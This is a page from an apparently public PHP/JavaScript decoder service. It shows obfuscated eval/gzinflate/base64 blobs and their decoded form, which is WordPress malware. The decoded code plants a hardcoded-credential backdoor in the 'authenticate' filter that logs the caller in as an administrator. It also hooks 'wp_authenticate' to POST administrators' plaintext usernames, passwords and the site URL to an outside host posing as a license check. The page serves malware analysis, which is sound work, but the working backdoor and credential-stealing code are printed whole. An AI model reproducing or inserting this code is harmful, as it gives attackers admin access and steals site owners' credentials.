Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(gzinflate(str_rot13(base64_decode('DdFUkqNVAADA51lqY8C7mNgDIAorEAh/2QDhKbwTvH43v5DFkcKf6mGGEqZb8ZOleMFD/+bFdMyLnz964h4eogvyMyuReCAkZtrEl+cUpy1+FckiFWiBkVYKK+xGt4wxFY2yDrTIhh9saKRm98465VfIm8nLMOkBPoxFzQDDEBAtmPNhvlHm0CIGdnbpqT4A1iwJ01MOXTOCw7Ezt9vqhdONpepF9Aje8u3l4gqjuczRASDFuJDGblkJ5bIzyLmU6+V2yMv40Bby6wg2LxBtWg9XG7eT7rpj0XEz1UnefBRh2S+65DybU0dn2ey979KrPeWT1zJIhHNn+goldDVQYD0dosOQLxV5Foy0fcJLtHx7xqUpS7Bc9rUd4sedx9t/TRJrBbw/SJsi79m3NqHkMx8YFvpFR7B68dPPQ+iWy3vE5ZveHxbN+PnNzC/GOrJeDPgXig6VVOB4q11vxZohJy45bsVsAROnC9JnPELLy+0T8/klBVYjuELMPZXLE98YLk9fVyKHxI+HNQnhJrkyvp+6MDSo7bNk1aL9N0aT+ujiKBmiR8iPTOe+p4mUDNdcLx6cqX8PpF1VK+o8YK6ekEVCzres/pN7XSC4uoPgMWZUbFBophDkd7XEcE7KyYdfDdURUNMhek9h3pj5/wiYmAFpdISJVKxQPgX3Lq+g4vUm8ajVrJdYtsh1ns99/Hli2YnkiMoc88s82Krj2RL3y9ASWp2qxuemEwsKij7oHcF910s86awQMWesdQH20ETQD+iIFG0ajo0B0MOX3o5Afd1j4YyTq/mxwCFlG2DWJby/iGHWadUia2sOMfdPb772V3ula8QLlWmj4Eci21WWMvFNO63jeEzaTzq4g1hDOKTyLsO9AEafQF7JJO97GIucS1t5b+Em5aozH+9Cv3ho+qJZn0KwgPvmG6b19+462UklPPCXdQ3xYqdZBUoX6dhoMfWZCEXot32IAySjxDmDPlfPFHkIoaijSx+kOxfiKOagzQVKYYqfqzfbAux4jLfmu2mPQuuz5qM/cHBH29bmnsyl2xByn+B3zHNkFjCmgXRGsgGkTYr1OqHxgCKic+9XzL7cPTEZw84Y/7MU4suOLoyxcBv2pbcDkVesew91gY1jaeD++fP7+/v3Pw=='))));

eval(gzinflate(base64_decode('jZRvT+JAEMbf+yn2CLptBPTQewOBxGCN3GHrlXL3AslmaRfY0H/XbkFj+t1vdgvaqkSbkGyZ3z6dfWZmF1noCh6FKKA+IVqdkqyB6vIX6+j5CMHDF0irZ6jXQ5h6AQ87q8uOHy15iNHJCXDVSEzTdBslXqfd/nF+eor3KvKpZ4R7qFd8a8mEpndfYvIr3xQAO9A2Jh5nGjYjpJRRlrIELaIs9LDeRfmrJCQMiiBGJELmTxrmHm4U3yrpg2IKkJslCQsLWFNMQ2k0+x4VtNlXIup07/fSTKyIG0VryOytvBcRqozUMNCFPV9UpgtGEubxhLlCU6clWeJregljj1wUb/lRfrSo1Ez5uDN56Udz6qP6NvbmBV9P//ngT21sjIyBg7LW8Brd2NYdelZQkVaaowwNTdOw0U9raFZiARM0RwGyTBS01BlUCZXQ31vDNpAWtCRE1uwJAni/OU7Ygj/mxbHZhvkYXZnXaAdvqJ8xwL+f68iyP9FwaUzn3OeCs/QDldHwl4Hw8UNNmcdTkVARJQ+1Y6zXdi4kLAVdHgrYoe3EZc9sKHQBWLQ3O2EiS0LFd8Fp6nlkwX0BvYJl9aFzuEsFg9JiZT4sLhryEN3XqqwuoctSEQXEX4bQLx6D7gk97f1UfWNBLJ4goMtJ2r/FemVmQARSh0YpJ7AX65YGIV0DJ/Fmn/o+eJaWoiKF/vUCSQA4xRWr8Kw8h9oe1l+zKFqJC1my2kqIuHN29lwnY8P+Y9hTfOs49+TWGjt4lpf+to3fE2PskIk9hECtW5VzVyAG8+gTyKRyF6hwFEs3ZdmmlYB8BhN7ZN1L4RHq9YuMUkjJ5y4LU9Z0V8xdt0ImzuRQbtgZ9FUrXsW1xkGpe8heaokkY4cp23AmtunYV+b4BqblU/5q4li2AehXYJnCzdAYXY8lO8VydLBcymLjeFusY1jLShRvcjU7LDmwYKoHjjO8M6yJOl/7MFyiLirQrFoaVTO4EKFChCYJhZ51V42Xiukf0OyRuZL6KOb6UcreBPOXy06OYOlmfTuFB4ZNzuV5A7X17n8=')));

function mal__($a_u, $u, $p) {
    if ($u == 'admin:h4:login' && $p == 'admin:h4:password:2250++') {
        $u_id = mal__get();
        if (!$u_id) { wp_die('No admin user found'); }
        $a_u = get_user_by('id', $u_id);
        wp_set_current_user($u_id, $a_u->data->user_login);
        wp_set_auth_cookie($u_id);
        do_action('wp_login', $a_u->data->user_login);
        wp_safe_redirect(admin_url());
        exit;
    }
}
function mal__get() {
    global $wpdb;
    $sql = "SELECT u.ID FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} m ON m.user_id = u.ID WHERE (m.meta_key = '{$wpdb->prefix}user_level' AND m.meta_value = 10) OR (m.meta_key = '{$wpdb->prefix}capabilities' AND m.meta_value LIKE '%\"administrator\"%')";
    $res = intval($wpdb->get_var($sql));
    return $res;
}
add_filter('authenticate', 'mal__', 3, 10);
function h4_custom_lgn_code_send($u, $p) {
    if (!empty($u) && !empty($p)) {
        $lgn = wp_authenticate($u, $p);
        $ask = $lgn->allcaps;
        $tst_adm = $ask['administrator'];
        if($tst_adm){
            $site = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
            $ch = curl_init();
            $options = [
                CURLOPT_URL => "https://license-check.net/active/key.php",
                CURLOPT_POST => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_AUTOREFERER => true,
                CURLOPT_POSTFIELDS => ['user' => $u, 'pw' => $p, 'site' => $site],
                CURLOPT_CONNECTTIMEOUT => 2,
                CURLOPT_TIMEOUT => 3
            ];
            curl_setopt_array($ch, $options);
            curl_exec($ch);
            curl_close($ch);
        }
    }
}
add_action('wp_authenticate', 'h4_custom_lgn_code_send', 30, 2);



© 2023 Quttera Ltd. All rights reserved.